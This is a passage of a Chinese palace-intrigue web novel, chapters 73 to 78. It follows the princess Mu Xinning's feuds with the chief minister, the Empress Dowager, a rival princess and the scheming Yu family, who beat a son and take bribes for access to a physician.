“带着人走。” 晏骁寒说完,就要离开。 刘营变了脸色,直接挡住晏骁寒的去路:“首辅大人,有话好说,这误会已经解开了,您要是心里实在不舒坦,不如跟殿下谈谈条件吧。” 刘营给了慕馨宁一个眼神。 这些日子发生了这么多事,慕馨宁可是处在了风口浪尖上。 要是晏骁寒一口咬定慕馨宁派人杀他,皇上和文武百官又要为难慕馨宁了,太后和信武侯府也会趁虚而入,到时候麻烦就大了。 眼下还是多一事不如少一事。 第73章 春光乍现 慕馨宁当然明白刘营的担忧,只能没好气的道:“行行行,你提条件,这元景和元景毕竟现在在本宫府上,本宫确实有责任。” 说这话的时候,慕馨宁感觉到了从未有过的窝囊,她之前还想留信武侯一命,现在是真的有些后悔了。 晏骁寒:“看你的态度。” 慕馨宁:“……” 她的态度,就是想要了晏骁寒的命。 她让刘营把那两个兄弟带了下去,眸色一转,试探的问:“不然,我那银矿,分你一成,行了吧?” 晏骁寒沉默,好似不满。 慕馨宁觉得他有些得寸进尺,就要翻脸。 本来也不是她指使元青和元景对晏骁寒下杀手的,再说晏骁寒身边那么多武功高强的人,怎么就着了兄弟两个的道,没准晏骁寒就是故意装成受害者,好讹诈她。 许久,他一脸勉强道:“罢了,看在你给本官送了四个美人的情分上,本官暂且不与你计较了。” 慕馨宁牙都要咬碎了,这厮得了便宜还卖乖,气死她了。 等晏骁寒离开,慕馨宁在床上翻来覆去睡不着。 她竟然被晏骁寒和信武侯夫人给摆了一道,她咽不下这口窝囊气。 鸦羽见慕馨宁不痛快,坐起身来:“不然属下先把那两个给杀了?” 慕馨宁盯着头顶的床幔摇头,杀了有什么用,明日她还得给信武侯夫人还礼呢。 最可气的还是晏骁寒,都把她看光了,还讹了她一成的银矿,晚上没准儿还要睡她送的美人儿…… 慕馨宁越想越气,越气心口越疼。 “主子您怎么了?”杜若当即看出慕馨宁脸色不对。 慕馨宁蜷缩着身子:“去找老头儿,给我搞点舒肝解郁丸来……” 此时,晏骁寒府上。 因为在慕馨宁那里弄的一身是水,他回府就沐浴一番。 一想起慕馨宁在浴桶里一丝不挂的样子,晏骁寒就顿觉口干舌燥。 他觉得慕馨宁肯定是给他下了什么迷魂药,不然自己怎么会对她有那种想法。 他只穿了一层单薄的里衣,身前的腰带也没有系,健硕紧实的胸膛随意裸露着。 没等到床边,晏骁寒的脸色就有了变化,他顿住脚步,冷声开口:“出来!” 片刻,一只软若无骨的手挑开了青色的床幔,露出里头的人影。 女子容貌绝色肤白胜雪,身上只着一层红纱,里头的春光若隐若现。 “大人……” 红袖娇羞的朝着晏骁寒唤了一声。 但凡是个男人,怕是都忍不住悸动,定会像个饿狼一样扑上去,将床上的美人儿吃干抹净。 可是晏骁寒的脸色,黑如锅底:“滚出去。” 红袖身子一僵,随即下了床,赤着玉足走到了晏骁寒跟前,停在了晏骁寒轻易就能看清她身子的位置。 红袖也是使出了杀手锏,毕竟这么多天,晏骁寒都没有碰过她,再这样下去,没准就被慕馨宁的那四个女子抢先了,她怎么能甘心。 晏骁寒也确实将人从头到脚打量了一遍,红袖还以为机会来了,扭动着腰肢就要缠上来。 晏骁寒的脸色更冷:“来人,把她给我丢出去!” 即墨捂着眼睛,从指缝看路,不经意还是看见了红袖的样子。 他心痛万分,女子相貌不错,身材应该也不错,自家主子怎么就没有那种想法呢? 要不是姬神医多次给晏骁寒诊脉,不然他都怀疑自家主子那方面不行了。 “领三十军棍。” 即墨刚要请红袖出门,晏骁寒冷声开口。 红袖身子颤抖了一下,眼泪在眼眶里打转。 即墨终究是于心不忍,小心翼翼的对晏骁寒道:“主子,她一个女子,怕是承受不住……” 晏骁寒凌厉的目光落在他身上,一字一句的道:“说的是你!” 即墨顿感委屈,他放红袖进来,也是为了自家主子着想,姬神医都说了,主子要是一直忍着,没准儿身体会出问题。 这么个尤物自家主子都不喜欢,难道他喜欢男人? 即墨仿佛发现了什么惊天秘密,一副要哭不哭的样子。 次日,早朝时,有官员弹劾信武侯为官不仁,其夫人打着让远房亲戚到长公主府借住的名义,实则报复长公主,对长公主下毒。 晏骁寒这才知道,原来朝堂上是有对慕馨宁忠心的官员,他还以为慕馨宁除了手里那三万私兵能为她所用,其他对慕馨宁示好过的,暗里都是太后和信武侯的人。 其实晏骁寒早就知道,元青和元景并不是慕馨宁指使杀他的,他之所以责怪慕馨宁,只是想让慕馨宁知道教训。 他把元青和元景带走,也是为了发难信武侯府,苦肉计本来是他要用的,没想到这女人发挥的也不错。 而下毒这个罪名,慕馨宁用的也很巧妙,毕竟她府上有一个姬神医,所以她的苦肉计,无需自己受苦,无需太医查验,就算她身上没有中毒迹象,只说姬神医给解了毒就好了,只要她一口咬定,元青元青招供就行了。 元青和元景两个确实对这件事供认不讳,大理寺也去了侯府找信武侯夫人问话。 信武侯夫人当然是死不承认,可恨的是,之前她为了拿捏元青和元景,特意让人将那个老太婆和小女娃引诱到了京城,原本一老一小的动向皆在她的掌握之中,没想到二人忽然就没了踪影,这下她连拿捏兄弟两个的筹码都没有了。 元青和元景已经倒戈,她百口莫辩。 最后永平帝下旨,信武侯罚俸三年,待出征回京之后,再做惩处。 至于信武侯夫人,闭门思过三月,褫夺二品诰命封号。 太后得知此事的时候,永平帝已经下达了旨意,无法更改,太后气的头风又犯了,她一向仰仗的强大不可冒犯的信武侯府,已经摇摇欲坠了。 就在这时,有人将信武侯府小库房丢失十万两黄金的事情透露了出来,太后直接昏死了过去。 “殿下,惠明公主来了。” 长公主府,慕馨宁几个正在吃早饭,刘营从外头进来,将宫里的事情说了。 慕馨宁递给刘营一个鹿肉馅饼:“就说本宫没空。” 刘营咬了一口肉饼,满嘴油光:“她没进来,在府门口跪着,您要是不出去,怕是又要闹出流言了。” 慕馨宁顿时胃口全无:“你们吃吧,我出去看看。” 杜若抓了一个包子跟在慕馨宁身后,鸦羽三两口就将碗里的肉粥喝完,也跟着出去了,刘营端着碟子里的包子和葱油饼边走边吃。 慕馨宁出来的时候,吃瓜百姓已经到场,慕馨宁看见了好几个熟面孔。 熟面孔还跟新来的百姓拍胸脯保证:“听我的,以后吃了饭没事儿干,就来长公主府门口溜达,经常会有大热闹看!” “哎呦,这不是太后的义女惠明公主吗,怎么还跪下了?” “姐姐……” 宋菀菀一副可怜兮兮的跪在坚硬的青石砖上,见慕馨宁出来,连忙起身走到她跟前,然后提着裙摆又跪下了。 “姐姐,你如何对舅舅舅母莞儿不管,莞儿求求你请姬神医进宫一趟,去给母后瞧瞧,母后不但犯了头风,还晕了过去,到现在也没醒过来……” 第74章 自作自受 她边说边哭,边哭边擦眼泪:“莞儿实在是担心母后,姐姐……你要是心里对我有怨,你就打我骂我,发泄出来,只求你救救母后啊……” 太后的头风,宫里宫外的人都知道,姬神医在长公主府,大家也知道,直到现在,慕馨宁都没请姬神医给太后诊脉大家也知道。 本来还没人说闲话,如今宋菀菀这么一闹,百姓们顿时觉得慕馨宁对太后不孝顺,听说之前太后还被慕馨宁气的晕了过去,直到现在慕馨宁也不带着姬神医进宫给太后诊病,简直是岂有此理。 慕馨宁感受到了百姓们指指点点和怨愤的眼神,她笑了笑,居高临下的看着眼前的宋菀菀:“请神医就请神医,你闹这么大动静做什么?” 宋菀菀擦了一把脸上的泪:“我就是觉得,姐姐之前看我不顺眼,怕你不愿带姬神医进宫医治母后,所以想让你把气出了……” “你是觉得我心胸狭隘,要是不打你一顿骂你几句,就会任由母后缠绵病榻是么?” 宋菀菀眨了眨眼睛,眼泪又大颗大颗的落下,一副让人我见犹怜心疼不已的样子。 此时,已经有人对慕馨宁不满:“长公主,惠明公主好歹也是太后的义女,你的义妹,你怎么能这么咄咄逼人?” “你看看她柔柔弱弱的,怎么敢得罪你,就算你对她有怨怼,你也得想想自己的问题。” 平常百姓一般不敢如此责备慕馨宁,慕馨宁顺着声音看去,果然是看见了几个王侯贵族家的公子哥儿,这几个可早就被宋菀菀迷的魂不守舍了,此时当然见不得宋菀菀受委屈。 宋菀菀当然也知道那几个公子哥是在维护她,心里顿时有了几分得意。 她怎么忘了,她搬不倒慕馨宁,但是可以借刀杀人啊,能为她所用的利器可多了去了。 她不说话,哭的却是更伤心了,那几个公子哥儿果然是一脸心疼的样子。 慕馨宁眸光微转,笑了一声,将地上的宋菀菀扶了起来:“本宫是对你有怨,那还不是因为你喜欢晏骁寒,私下还藏了晏骁寒的荷包。” “晏骁寒可是本宫的未婚夫,你作为本宫的义妹竟然还惦记他……” “我没有,你不要误会!”宋菀菀急切的打断慕馨宁的话,无论如何,现在她也不能承认喜欢晏骁寒。 听了慕馨宁的话,那几个公子哥已经开始怀疑宋菀菀真的喜欢晏骁寒,毕竟晏骁寒身居高位,容貌也是天姿绝色。 怀疑着,怀疑着,有人开始自卑起来,自己无论如何,也是不及晏骁寒一半优秀的,宋菀菀喜欢晏骁寒也正常,那他还跟着起哄什么? 慕馨宁也不接宋菀菀的话,继续语重心长的道:“你别怕,就算你承认喜欢晏骁寒本宫也不生气了,如今本宫也发现了自己的错处,他好歹也是一人一下万人之上,身份尊贵劳苦功高,多几个女人伺候那也是应该的,你要是想嫁给晏骁寒,我到时候跟他说一声,看看能不能让你做个平妻……” 百姓们看宋菀菀的眼神又变了,众人皆知,晏骁寒跟慕馨宁有了婚约,她这个义妹怎么还能惦记自己未来的姐夫? 看她这副可怜兮兮的样子,没准就是装的,毕竟她心术不正,也不是什么好人。 宋菀菀还想辩解,说自己不喜欢晏骁寒,可是她明明就是喜欢晏骁寒的啊,做梦都想嫁给他。 如果她说不喜欢晏骁寒,这话传到晏骁寒耳朵里,那她岂不是半点机会都没有了? 宋菀菀脸上的委屈渐渐消散,取而代之的是一抹娇羞。 不过她很快反应过来慕馨宁当着这么多人的面说这话的目的,她一把抽回自己的手,急忙跪在慕馨宁面前害改了话题: “姐姐,旁的事且不说,妹妹求求你还是先带着姬神医去看看母后吧……” 众人渐渐对宋菀菀又有了改观,好歹她对太后还算孝顺。 慕馨宁点头:“你说得对,母后病了,我确实要带姬神医去给母后瞧瞧。” 宋菀菀眼里闪过一抹得逞,就算慕馨宁亲自带着姬神医去了,那也是她这个惠明公主亲自求来的,别人也只会念及她惠明公主的好,慕馨宁是出了力气,也没讨得好处,还被扣上个不孝的帽子。 宋菀菀刚要起身,慕馨宁却直接按住她的肩头:“你闹出这么大的动静,为了母后在公主府门口长跪不起,也是你的一片孝心,既然如此,你就接着跪着吧。” 宋菀菀和所有人都有些吃惊,慕馨宁这不是当着所有人的面欺负人吗,这大热天的怎么还能让人继续跪在这坚硬的青石板上? 然后,就听慕馨宁继续道:“昨日本宫在观音寺为母后请了一尊菩萨供奉,你如此担忧母后的身体,不如就给母后诵一诵地藏经吧,好祈求母后身体康健,福寿延年,这诸位百姓们也做个见证,定会被你感动的。” 宋菀菀能说什么,她要是说不,那大家岂不是说她不孝? 很快,一尊佛像被抬了出来,地藏经也摆在了宋菀菀面前。 刘营气喘吁吁的一边擦汗一边大咧咧的坐在石头上用手扇风,他的跟班见此好奇的问:“头儿,您怎么了?” 刘营指了指宋菀菀手里那本地藏经,话都说不出来。 公主府哪有这东西,他施展轻功跑了三里地去寺庙里请的。 “你慢慢诵经,本宫带姬神医先进宫了,定会将你的孝心告知母后和皇兄,他们定也会被你感动的。” 慕馨宁说完,就回府更衣,准备进宫。 跪在太阳底下的宋菀菀,看着手里厚重的地藏经,嘴唇都要咬出血来了。 “哎……这都半天了,她怎么不读……” “大太阳底下跪了这么半天了,正常人都受不了,何况她还是娇滴滴的公主。” “我觉得长公主有些欺负人了。” “一开始不是是她自己非要跪的,闹出这么大动静不就是让长公主下不来台……” 有人话说到一半,就捂住了自己的嘴巴,缩进了人群里。 敢说惠明公主自作自受,脑袋不想要了? 第75章 母妃的死 但宋菀菀确实是自作自受,慕馨宁也不是个善茬。 可是慕馨宁名声臭大街了,她再做什么坏事大家也习以为常,倒是宋菀菀,名声又臭了几分。 姬神医自打上了马车,就没给慕馨宁好脸。 这丫头也就是用的上他的时候巴结讨好,一口一个外公的,用不上他的时候就把他当成摆设,他老头子哪受过这样的气? 慕馨宁看他耷拉老长的脸,想了想:“外公,你不是喜欢听戏吗,一会儿得了空我带你去听戏吧,我写的本子,黛玉殇里的经典桥段。” “你写的?” 姬神医打心眼里瞧不上慕馨宁,还不是看在她死去的亲娘的面子上对她好了一些。 说慕馨宁轻薄了哪家公子,抢了哪家小姐的宝贝他相信,说慕馨宁会写故事,还能编戏文,他半点也不信。 “您要是不想去就算了,正巧我还有一大堆的事情……” “去,怎么不去。”姬神医捋了捋下巴上的胡子,就算唱的戏好看,那也未必是慕馨宁编写出来的,没准儿是抢了谁的功劳。 但是这不重要,能出去走走就是好的。 太后得知慕馨宁带着姬神医来给她瞧病,并没有半点高兴,宫外的事情早就传进了她耳朵里,这都是莞儿的孝心,慕馨宁竟然还为难莞儿在公主府门口诵经,简直是岂有此理。 但是太后表面上还是很感动的样子,一个劲儿的夸赞慕馨宁孝顺,姬神医医术高明。 姬神医见不上太后,给她诊了脉,开了方子,扭头就走了。 太后气的牙根痒痒,却拉着慕馨宁的手问:“好孩子,以前怎么没听说你跟姬神医关系如此亲近,难道你们刚认识不久吗?” 慕馨宁笑着道:“这件事也是儿臣的错,没有跟母后说过,其实姬神医是母妃的义父,当初母妃还拜了老头为师,跟他学习医术,只是后来母妃喜欢上了父皇。” 慕馨宁娓娓道来,盯着太后脸上的神色:“不过老头儿知道宫里规矩太多,母妃又是个单纯直率的性子,怕母妃进了宫吃苦头,所以威胁母妃,如果母妃执意入宫,就和她断决关系。” 可是那时候,慕馨宁的母亲爱极了先帝,但也舍不得老头儿,老头儿看她母亲因为过度思念先帝,得了相思病,于是一气之下主动跟她母亲断绝了关系,云游四海去了。 谁知等他云游归来,却得知了她母亲离世的消息。 太后听了有些感慨:“敏妃温柔贤淑善解人意,你父皇很是喜欢她,只可惜红颜薄命啊……” 慕馨宁点头:“都过去了,儿臣现在只想着代母妃好好孝顺外公,让他颐养天年。” 两个人没说一会话,太后就面露疲倦。 慕馨宁起身告辞,临走前还叮嘱芝嬷嬷和太监王福:“母后的药你们可要好好看着,当心被外人做了手脚,外公说这天下什么奇珍异草都有,很多草药都是无色无味却其毒无比,大夫看不出来、银针都试不出来,人吃了好些日子才毒发,要是有人想要害母后,这个时候趁机而入怎么办?” 芝嬷嬷和王福连忙跪下称是,保证好好盯着太后的汤药。 太后目送慕馨宁离开,原本和颜悦色的那张脸,渐渐阴沉下来。 “太后,老奴去盯着吧,万一真有人……” 芝嬷嬷的话没说完,太后冷声开口:“盯什么,把药给哀家倒了!” 芝嬷嬷和王福脸色一变,都要劝太后,毕竟这是姬神医开的药,没准儿能治了太后的顽疾。 可是太后态度坚定,二人只能作罢。 慕馨宁出了景阳宫,脸色也阴沉下来,侧头对鸦羽道:“去,盯着她的小厨房。” 鸦羽不明所以,还是照办。 不等慕馨宁走出皇宫,鸦羽就追出来了:“主子,太后让人将神医开的药倒掉了。” 慕馨宁嘴角扯过一抹冷笑:“我母妃的死,果然是跟她有关系。” 太后得知姬神医是敏妃的义父,而且慕馨宁临走时又说了那么一番话,再想想姬神医给她诊脉时的态度,她当然是担心姬神医因为敏妃的死会报复她,没准在药里做了什么手脚连太医都查不出来。 她惜命的很,又心中有鬼,自然不敢再喝老头儿的药了。 慕馨宁一想起母妃年纪轻轻就被太后给害死,心中恼恨万分,眼睛都红了。 慕馨宁上了马车,见老头儿脸色也十分难看,于是就问:“外公,我母妃的死,你是不是知道什么?” 姬神医:“不知道。” 就算他知道,跟这丫头说能有什么用,她那两把刷子,别说给女儿报仇,送死还差不多。 一老一小都不大高兴,还是去听了一场戏,又去明月楼吃了顿饭。 慕馨宁虽然跟明月楼的东家不熟,也没提前预定包厢,但是有公主府给明月楼供应冰沙这层关系,明月楼的东家也给她几分薄面,一老一小加上鸦羽和杜若,吃的酒足饭饱才回公主府。 宋菀菀早就没了人影,听下人说,慕馨宁和姬神医出门一个时辰左右,宋菀菀就晕了过去,人被送回宫里了。 慕馨宁翻白眼,宋菀菀这么不禁折腾吗,估计是装病吧。 管家来禀,崔惜颜给慕馨宁下了帖子,请慕馨宁到茶楼一续。 不用想也知道,是因为元青元景反咬信武侯夫人、信武侯府又得了永平帝惩罚的事情,慕馨宁没那个空闲跟崔惜颜扯嘴皮子功夫。 她本来想去巡查一下手底下的铺子和庄子,玄翊来了。 玄翎抽了空回来,勾着玄翊的脖子进了花厅,说着这些日子发生的事情,玄翊不苟言笑,脸板的跟个雕塑一样。 桌上饭菜丰盛,慕馨宁坐在首位,招呼二人用饭。 玄翊推开玄翎,恭恭敬敬的向慕馨宁行礼问安。 慕馨宁跟他客套两句:“这些年你们辛苦了,本宫记得你们的好,以后定不会亏待了你们。” 玄翊本不大愿意跟慕馨宁同席,说主仆有别,硬被玄翎按在了座位上。 席间,慕馨宁将银矿的事情跟玄翊说了,玄翊人很稳重,做事也是雷厉风行,三下五除二的吃了饭就要去办事。 玄翎打趣他:“急什么,来都来了,晚上不得伺候一下长公主,明早再走就来得及……” 第76章 床上伺候 慕馨宁觉得有些头疼,玄翎这张嘴真是惹人讨厌。 玄翊板着脸道:“属下不大擅长房中之术,怕是会扫了长公主的兴致,还是让玄翎来吧,军中也有一些相貌不错的将士,若他们愿意伺候长公主,改日属下送来。” 他说的面不改色,仿佛就是在例行公事。 慕馨宁和玄翎都是一脸复杂。 慕馨宁咳嗽一声:“不用,还是让他们好好习武吧。” 等玄翊一走,慕馨宁也打算出门了。 没等她上马车,府里头的王婆子匆匆追了出来:“长公主快去看看吧,后院要闹出人命了!” 慕馨宁到后院的时候,虞零落正被人按着打板子,他后背已经鲜血淋漓,整张脸惨白如纸。 杜若刚要开口,慕馨宁给了她一个眼神,主仆二人就站在树丛的阴影里。 “打,要是他不答应,就往死里打!”不远处,虞文茵掐着帕子,怒气冲冲的对动手的奴才道。 虞老夫人被虞夫人扶着,一副恨铁不成钢的样子,指着虞零落的鼻子骂:“你果然是个忘恩负义的,家里供你吃穿,把你养大成人,就这么点忙你也不肯帮,你是要眼睁睁看着我这个老太婆和你母亲被人告到大理寺去不成?” 虞零落眼中含着泪,却并未落下,他隐忍着开口:“祖母,长公主对我们已经仁至义尽,好处都是你们收的,她定不会让姬神医给你们收拾这烂摊子,你打死我也没用……” 虞夫人恨的磨牙,恼火的道:“就算长公主不答应,那你想想法子,你不是有一副好皮囊吗,伺候她一晚,她定会松口的!” 虞零落眼里的泪终于是落了下来,他双手紧握成拳,目光如炬的看着虞夫人:“你说什么?” 这是一个当家主母说出来的话吗,为了一点利益,竟然让自己的儿子去出卖色相? 虞夫人动了动唇,似乎也觉得这话说的有点过了头,不过这也确实是她心中所想。 谁知,这时候虞老夫人也开口道:“你母亲说的没错,你出身低贱,能伺候长公主是你的福气,老身答应你,只要你将这件事办好,给你一百两银子。” 再说,慕馨宁又是给虞零落出头,又是给虞零落找名师,不就是对虞零落有那个意思。 没准儿虞零落早就被长公主给玩弄过了,现在在他们跟前装这副清高的样子给谁看呢? 虞文茵见此,有些幸灾乐祸,这些年虞零落不是挺自视清高的,让他做长公主的男宠,简直是比杀了他还难受吧。 随即,她一脸担忧的开口:“祖母,母亲,他现在都成这个样子了,还怎么伺候长公主?” 就算是养的差不多了,那也是好几天之后的事情,可是眼下之事,迫在眉睫啊,今日不把事情解决,明日官差怕是就要上门了。 虞夫人眼里闪过什么:“怕什么,没准儿长公主就喜欢这样的……” 听说那些个大户人家的贵人们最喜欢在床上折磨人了,虞零落这副可怜兮兮的样子,没准儿正好提起了长公主的兴致。 树荫下的慕馨宁,脸色已经越来越难看,别人如何想她无所谓,可是这虞家人吃她的住她的,还这样往她身上扣屎盆子,简直是活腻了。 杜若见状慕馨宁的脸色,大气都不敢喘。 虞零落怒急攻心,直接吐出一口血来:“你们还是直接打死我算了,让我求长公主,你们休想!” 虞老夫人气的人都哆嗦了,虞夫人也是恨的整张脸都要扭曲,虞文茵倒是不急,她知道婆媳两个不会给虞零落好果子吃。 “好啊,你有骨气的很,那就给我往死里打!”虞夫人咬牙切齿的指着虞零落的鼻子开口。 下人又要对虞零落下死手,杜若见状不得不喊了一声: “长公主来了,还不住手!” 虞老夫人婆媳脸色一变,连忙迎上来。 她们心里忐忑,腿都软了,不知道刚刚的话被慕馨宁听去了多少。 虞夫人陪笑:“长公主日理万机,怎么到后院来了,我们在处理家事,怕是污了长公主的眼睛。” 虞夫人说着,故意用身子将虞零落挡住。 杜若沉着小脸上前:“让开!” 虞夫人小心翼翼的看了一眼慕馨宁,不情愿的挪开了身子。 虞零落挣扎着,要给慕馨宁见礼。 已经被打的鼻青脸肿的连清哭着上前扶他。 “你不是在蔺先生那里学功课,怎么回来了?” 连清气愤的道:“长公主可要给我家公子做主,虞老夫人让人给我家公子送信,说她病重,让我家公子回来侍疾,没想到虞老夫人根本没病,硬逼着我家公子求您让姬神医给那些个贵人诊病,我家公子不肯……” 所以,就被打成这样了。 慕馨宁冷笑连连:“真是好的很!” 她忍虞家婆媳两个,已经不是一天两天了。 “所以,你们收了他们的好处,却要虞零落来求本宫办事,你们的脸皮可真是比城墙还厚。” “她们还说,要是长公主不肯,就让我家公子伺候长公主……” 连清年纪小,这话里的意思似懂非懂,他只顾着向慕馨宁告状,所以一股脑的就吐露了出来。 虞零落脸色大变,怒喝一声:“连清,闭嘴!” 慕馨宁沉着脸走到婆媳两个跟前,看着二人丑恶的嘴脸:“是不是觉得,有虞放给本宫卖命,你们被当成人质困在公主府,就是本宫欠了你们的,就可以为所欲为了?” 婆媳两个对视一眼,惊慌失措,连忙跪在慕馨宁脚下。 虞夫人哭诉:“长公主恕罪,我们这也是没法子,要不是那些个贵人逼迫,我们也不想出此下策啊!” 虞老夫人擦了擦脸上根本不存在的眼泪:“老身也是一时糊涂,知道长公主看中这个孙子,不得已才想让他出面求长公主帮忙,可是他硬气的很……” “所以,你很有理?你觉得把人打死了不用偿命吗?” 虞老夫人一个哆嗦:“老身本来想吓唬吓唬他,没找想到他……” 没想到虞零落软硬不吃,所以她一气之下就让人下了重手。 她现在后悔了,如此大费周章有什么用,还不如直接给虞零落灌点药,扒光了送到慕馨宁床上,慕馨宁一舒坦,定会替她解决眼前的大麻烦。 第77章 闹起来了 虞夫人哽咽着膝行到慕馨宁跟前:“长公主,您就看在虞将军的面子上,让姬神医给那些个贵人诊治一番,这也费不了什么力气……” 话没说完,慕馨宁的巴掌狠狠地落在了虞夫人的脸上。 自打见虞夫人第一面,她就想打她了。 “你说的轻巧,收好处的是你,受累的却是姬神医,他欠你的?” 虞夫人捂着火辣辣的侧脸,心里在骂慕馨宁,就算姬神医不欠她的,至少慕馨宁欠她的。 慕馨宁弯腰,一把掐住虞夫人的脖子:“本宫知道你心里想的是什么,不然本宫送你去边关,你亲自问问虞放,本宫到底欠不欠他的,看他怎么说,如何?” 大家也不过是为了利益合作而已,虞放当初跟慕馨宁造反得罪了永平帝,一开始也是想要利用慕馨宁。 慕馨宁不但保了虞放,还助虞放在边关打了胜仗,她对虞放也谈不上什么亏欠。 只可惜虞家人看不到这一点。 头一次见慕馨宁发这么大的火,虞夫人彻底慌了,她只能砰砰的朝着慕馨宁磕头:“长公主恕罪,都是我的错,您大人大量就别跟我这个妇道人家一般见识了!” 虞老夫人挺了挺弯着的脊背,想要打圆场:“长公主息怒,是我这个儿媳的错……” 虞夫人愣了一下,脸色难看,怨愤的看了虞老夫人一眼,然后心一横,对慕馨宁道:“长公主,收贵人好处的是老夫人,跟我可没多大关系,她分我的那点好处我还回去就是,您要治罪,还是要找她!” 这个死老太婆还想把所有责任往她身上推,她才咽不下这口气,所以她一气之下就把虞老夫人给卖了。 虞老夫人老脸皱成了菊花,指着虞夫人的鼻子怒骂:“你个不孝的贱人,当初不是你出的主意,我能收那些个贵人的好处?” “长公主,您要治罪,那她也脱不了干系,您可一定要公平处理!” “公子,公子你怎么了!” 连清一声尖叫,慕馨宁回头,虞零落已经昏死了过去。 慕馨宁只能对刘营道:“抬着他去姬神医那瞧瞧。” 不远处的虞文茵,眼珠子转了转,开口道:“他伤的不轻,我跟他一起去吧。” 只要见了姬神医,给了姬神医好处,就算姬神医不给那些个人治病,她也能得一些好药吧。 再不济,姬神医也能给自己瞧瞧,她好求个美容养颜的方子,到时候就算她不能冠绝京城,她也能靠着那张方子攀附贵人。 虞文茵算盘珠子打的啪啪响,杜若抬脚就挡住了她的去路:“不用了,老人家不喜欢被外人打搅,你还是老实在这里待着吧。” 刚刚虞文茵可是让下人把虞零落往死里打,如今装好人,打的什么主意,杜若能不明白吗。 虞零落刚被抬走,管家急匆匆的来了:“长公主,不好了,官府的人上门了!” 虞老夫人婆媳脸色惨白如纸,人都开始打摆子了。 她喃喃道:“怎么会这样,不是说再给我们一天的时间吗?” 大理寺孟少卿进来,给慕馨宁行了礼:“见过长公主。” 慕馨宁抬了抬手,示意他起身。 他站直了身子,看了虞家婆媳一眼:“现在京城好几家贵人一同举报虞家婆媳诓骗他们的钱财,说是收了他们的钱就能让姬神医给他们治病,结果这都过去了那么久,也没看见姬神医的影子,有的人因为耽误了诊治,人已经没了。” 虞老夫人老泪纵横:“大人,大人我们知错了,求求你网开一面吧,再给我们几天时间……” 虞夫人也哭道:“长公主,您行行好,千万不要让我们去坐牢,只要你帮了我们这次……之后我给你你们当牛做马……” 慕馨宁依旧没有要松口的意思。 孟大人沉默片刻正在斟酌着如何再往下说,忽然听见外头一阵吵闹。 慕馨宁皱眉,孟大人面色凝重:“估计是被虞家骗了钱财的那些府上来人了,长公主还是想个办法,否则事情闹到皇上跟前,怕是不好了。” 慕馨宁理了理衣襟,冷声对下人道:“拖着她们几个到外头。” 说完,她率先出了公主府。 那些个看热闹的百姓已经到场,还有人怕漏掉什么关键细节,竟然开始拿纸笔记录。 慕馨宁眉头微蹙,这搞不好,戏班子又有长公主府的戏可以唱,说书人又有公主府的热闹可以说了。 晏骁寒打马路过的时候,就见公主府门口已经人满为患了,只能勒了缰绳驻足。 即墨有些幸灾乐祸:“莫非长公主又做了什么丑事,惹了众怒?” 不会是轻薄了哪的良家公子,把人家给折腾坏了,惹怒了他家里人,所以才闹成这样吧? 晏骁寒看了即墨一眼,即墨心领神会,连忙去打听。 门口,虞老夫人婆媳包括虞文茵一起被拖了出来,那些个富贵人家的管家、家眷,见了二人就扑了上来,不是让虞家婆媳还钱,就是让虞家婆媳请姬神医出面,有的已经动了手,虞家婆媳挨了几巴掌,身上也被人吐了口水。 “安静!”孟大人喊了一嗓子,原本喧闹无比的府门口,瞬间安静下来。 “长公主,虞家老太太收了我刘府二百两银子,答应请姬神医给我们老爷看病,可是自打她们收了钱就把我们拒之门外,是何道理,还请长公主给我们做主!” “长公主,我是安国公府的管家,虞老夫人收了我们二夫人五百两银子,说能请的动姬神医给我们二夫人诊病,可是到现在姬神医也没出面,我们二夫人急的病更严重了!” 有两个人带头,其他人也开始控诉,公主府门口顿时又是一片混乱。 婆媳两个狼狈不堪,还想爬到慕馨宁跟前求情,直接被刘营等人拦住了。 即墨见此,连忙又去给晏骁寒禀报。 晏骁寒听了之后,眉头微挑,以慕馨宁的性子,竟然对虞家人能隐忍到此时,倒是有点肚量,不过她不会真的给虞家收拾烂摊子吧? 等一片吵嚷声之后,慕馨宁抬了抬手,众人便闭了嘴。 慕馨宁板着脸道:“收了你们钱的,是虞家婆媳,跟我们公主府无关,但是本宫也不能坐视不理,虞家人收了你们多少钱,如数返还,这件事就这么算了。” “凭什么,她们明明答应我们主子,可以请姬神医上门……” “没错没错……我们不要钱,就要姬神医诊病……” 慕馨宁脸色难看,怒声开口:“都给本宫闭嘴,别以为本宫不知道,你们就是打着讨好虞家人的名头算计本宫,既然你们敢算计到本宫头上,以为本宫是吃素的?” 众人噤了声,京城谁不知道虞家人的德行,他们根本不把虞家人放在眼里,这还不是没机会巴结慕馨宁请姬神医,所以才把主意打到了虞家婆媳的身上。 本以为慕馨宁就算再不情愿,事情闹成这样,也得请动姬神医给虞家收拾烂摊子,没想到慕馨宁却只让还钱。 慕馨宁把话说到这个份儿上,他们也不敢再得寸进尺,只能找虞家婆媳要钱。 虞家婆媳哭的肝肠寸断,那可是白花花的银子啊,她们一辈子都没见过这么多钱。 婆媳两个哭着,跟慕馨宁道:“长公主,钱我们可以还,但是之前花掉了一些……” 慕馨宁负手而立,没看二人一眼:“缺的,本宫给你们补上。” 婆媳两个松了一口气,等各家拿了钱,便一哄而散了。 孟大人带着官差也离开了,婆媳二人还以为此事就这么算了。 就听慕馨宁对她们道:“回去收拾一下东西,明日一早,本宫让人送你们回老家。” 第78章 绝情 婆媳加上虞文茵,都是脸色大变。 还是那句话,老家哪有京城好,他们就是死,也想死在京城。 当初虽然是入京为质,那他们走的也是风风光光的,如今要是回了老家那穷乡僻壤的地方,得被多少人看笑话。 虞文茵捏着帕子,急切的开口:“长公主,我们都知道错了,之后肯定不会再犯,还是不要送我们回老家了,再说我们不是还要在府上做质子……” 慕馨宁嘲讽一笑:“质子,你们也配,就你们的为人,皇兄砍你们一刀,都觉得膈应。” 慕馨宁这话可真是戳了三人的心窝子,三个人顿时面红耳赤,羞赧的低下了头。。 “长公主……”虞老夫人硬着头皮,还想求情,可是刚对上慕馨宁那冰冷至极的眼神,瞬间就有些发怵。 “天下所有人都知道本宫是个混不吝,你们是不是觉得本宫对你们客气几分,你们就可以厚颜无耻的为所欲为了,是不是没见过本宫杀人?” 她说着,直接抽出了刘营身上的剑。 三个人吓得瑟瑟发抖,抱成一团。 虞夫人连忙道:“长公主息怒……我们明日就回老家……” 回老家是丢人,但是总比丢了性命强,三个人落荒而逃。 刘营问:“殿下,虞家所有人都要送回老家?” 慕馨宁:“虞零落和谢姨娘留下。” 刘营称是,就去安排。 慕馨宁刚要回府,就听见了身后的马蹄声。 她回头,与晏骁寒四目相对。 